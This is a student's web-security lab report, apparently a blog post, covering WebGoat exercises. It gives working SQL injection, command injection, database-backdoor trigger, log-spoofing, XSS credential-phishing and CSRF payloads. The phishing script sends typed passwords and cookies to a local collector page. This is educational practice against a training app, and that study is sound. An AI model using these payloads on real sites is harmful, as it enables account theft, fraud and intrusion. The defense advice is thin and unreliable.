• 20145222黄亚奇《网络对抗》web安全基础实践


    web安全基础实践

    实验后回答问题

    • (1)SQL注入攻击原理,如何防御
      原理:指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
      防御:在设计程序时,应该设计成不易篡改的或者说能有主动判断合法性的代码,并且将存有敏感信息的数据库放在防火墙内部。

    • (2)XSS攻击的原理,如何防御
      原理:是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。  
      防御:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。

    • (3)CSRF攻击原理,如何防御
      原理:一种对网站的恶意利用,CSRF可以劫持会话和cookie来冒名进行一些操作。
      防御:对web应用时进行设置,不长时间保存cookie,不访问不良网站。

    实验感想

    网络世界太危险,赶紧回火星。

    实践过程记录

    webgoat

    • 使用命令java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat。
    • 在浏览器输入localhost:8080/WebGoat,直接点击登录,进去。

    SQL字符串注入(String SQL Injection)

    一个可以查看信用卡号的表单,当使用SQL注入(在name里输入一个永真式a or 1)时,则可以让所有的信用卡号都看得见。

    数字型SQL注入(Numeric SQL Injection)

    1. 想继续用SQL注入来获取信息,然而没有输入键,就只好用kali中一个从未用过的软件(BurpSuite)来通过抓包获取数据并修改。
    2. 步骤:在BurpSuite添加一个新端口8888——设置浏览器的代理——回到webgoat,点击GO——又回到burpsuite:修改station值从为101 为 101 or 1=1,点击GO——成功。


    命令注入(Command Injection)

    • 还是使用burpsuite注入:进行包分析,然后发现特征cat,注入命令AccessControlMatrix.help"&&ifconfig"(仅仅加一个&&ifconfig就行),go一下,成功!


    LAB:stage 1 SQL Injection(字符串注入)

    • 与上面的字符串注入不同,用户名无法输入,所以在密码上花功夫。还是利用burpsuite代理注入。在password = ' '这里进行注入or 1=1 --这个永真式,无论什么用户名,都统统通过。

    • 登录成功!

    Database Backdoors

    1. 在userid中输入101 or 1=1;--,通过。

    2. 理解题意:使用SQL语句实现:在myBackDoor表中一旦添加新用户,那么就在用户表里将新用户的邮箱改为题目固定的邮箱(暗自想:黑客“偷钱”好简单,网络安全很重要)。so,插入SQL语句就可以啦:101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid;
      成功:

    log Spoofing

    这种攻击是一种欺骗日志的方法,操作很简单:在用户名中添加smith%0d%0aLogin Succeeded,提交就成功啦。

    跨站脚本钓鱼攻击(Phishing with XSS)

    • 方法操作:在/var/www/html下编辑imgsrc.php(即一个钓鱼网站)。保存之后,在输入框中注入一段前端代码:

        <script>
        function hack(){
        str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;  
         str2="http://127.0.0.1:5320/imgsrc.php?" + str;
        
        XSSImage=new Image; 
        XSSImage.src=str2;
        alert(str2);
        }
        </script>
        
        </form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
        Enter Username:<br><input type="text" name="user"><br>
        Enter Password:<br><input type="password" name = "pass"><br>
        <input type="submit" name="submit" value="Login" onclick="hack()"><br>
        </form><br><br><HR>
      
    • 然后将提示用户输入账号口令从而完成钓鱼攻击!

    • 成功获取信息,完成钓鱼攻击:

    Reflected XSS Attacks

    • 方法操作:在文本框中插入<script>alert("5222")</script>,当点击提交时,会弹出对话框。

    • 感觉这个攻击方法没有上面那个实用,虽然现在还没有想明白它可以用来干什么,但是高端玩家应该是可以利用起来的。

    Cross Site Request Forgery(CSRF)

    • 实际操作:我们在message框中输入一串代码:<img src="http://localhost:8080/WebGoat/attack?Screen=484&menu=900&transferFunds=4000"/>
    • 结果:在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。

    CSRF Prompt By-Pass

    • 方法操作:在massage中输入命令:

        <img src='attack?Screen=275&menu=900&transferFunds=5000'>
        
        <img src='attack?Screen=275&menu=900&transferFunds=CIONFIRM'>
      
    • 成功!

  • 相关阅读:
    HashMap源码分析jdk1.8
    Struts1.x总结
    session的使用
    浅谈EL
    浅谈JavaBean
    try、catch、finally带return的执行顺序总结
    jvm内存模型
    left join 、right join 、inner join之间的区别
    js按键事件
    log4j配置详解
  • 原文地址:https://www.cnblogs.com/huangyaqi/p/6876236.html
Copyright © 2020-2023  润新知